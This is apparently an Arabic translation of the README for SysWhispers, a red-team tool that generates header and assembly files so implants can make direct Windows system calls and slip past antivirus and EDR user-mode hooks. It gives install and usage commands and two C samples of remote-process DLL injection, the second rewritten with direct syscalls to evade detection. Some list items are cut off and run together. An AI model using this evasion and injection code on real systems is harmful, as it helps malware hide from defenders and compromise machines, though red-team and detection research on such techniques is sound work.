
تجاوز برامج مكافحة الفيروسات/كشف الاستجابة الطرفية عبر استدعاءات النظام المباشرة.
يساعد SysWhispers في التهرب من خلال إنشاء ملفات رأس/ASM يمكن للـ implants استخدامها لإجراء استدعاءات نظام مباشرة.
جميع استدعاءات النظام الأساسية مدعومة من Windows XP إلى Windows 10 19042 (20H2). ملفات أمثلة مولدة متاحة في مجلد example-output/.
تضع العديد من منتجات الأمان خطافات في واجهات برمجة التطبيقات في وضع المستخدم والتي تسمح لها بتوجيه تدفق التنفيذ إلى محركاتها واكتشاف السلوك المشبوه. تتكون الدوال في ntdll.dll التي تقوم باستدعاءات النظام من بضع تعليمات تجميع فقط، لذا فإن إعادة تنفيذها في الـ implant الخاص بك يمكن أن يتجاوز تفعيل خطافات منتجات الأمان هذه. تم تعميم هذه التقنية بواسطة @Cn33liz ومنشور مدونته blog post يحتوي على مزيد من التفاصيل التقنية تستحق القراءة.
يوفر SysWhispers لأعضاء الفريق الأحمر القدرة على إنشاء أزواج ملفات رأس/ASM لأي استدعاء نظام في صورة النواة الأساسية (ntoskrnl.exe) عبر أي إصدار ويندوز بدءًا من XP. ستتضمن ملفات الرأس أيضًا تعريفات الأنواع الضرورية.
الفرق الرئيسي في التنفيذ بين هذا و Dumpert POC هو أن هذا لا يستدعي RtlGetVersion للاستعلام عن إصدار نظام التشغيل، بل يقوم بذلك في التجميع عن طريق الاستعلام مباشرة من PEB. الفائدة هي القدرة على استدعاء دالة واحدة تدعم إصدارات ويندوز متعددة بدلاً من استدعاء دوال متعددة كل منها يدعم إصدارًا واحدًا.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Why call the kernel when you can whisper?
Common functions selected.
Complete! Files written to:
syscom.asm
syscom.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
استخدام المفتاح --preset common سينشئ زوج ملفات رأس/ASM مع الدوال التالية:
win32k.sys) غير مدعومة.ModuleNotFoundError في البرنامج النصي بايثون.
pip3 install -r requirements.txt.typedef في syscalls.h قد تم تعريفها بالفعل.
--preset all نادرًا ما يكون ضروريًا).typedef قد تم تعريفه بالفعل في ملف رأس آخر مستخدم، فيمكن إزالته من syscalls.h.تم تطوير هذا البرنامج النصي بواسطة @Jackson_T ولكنه يبني على عمل العديد من الآخرين:
شكر خاص لـ @Dcept905 على الاختبار والاقتراحات.
هذا المشروع مرخص بموجب رخصة Apache 2.0.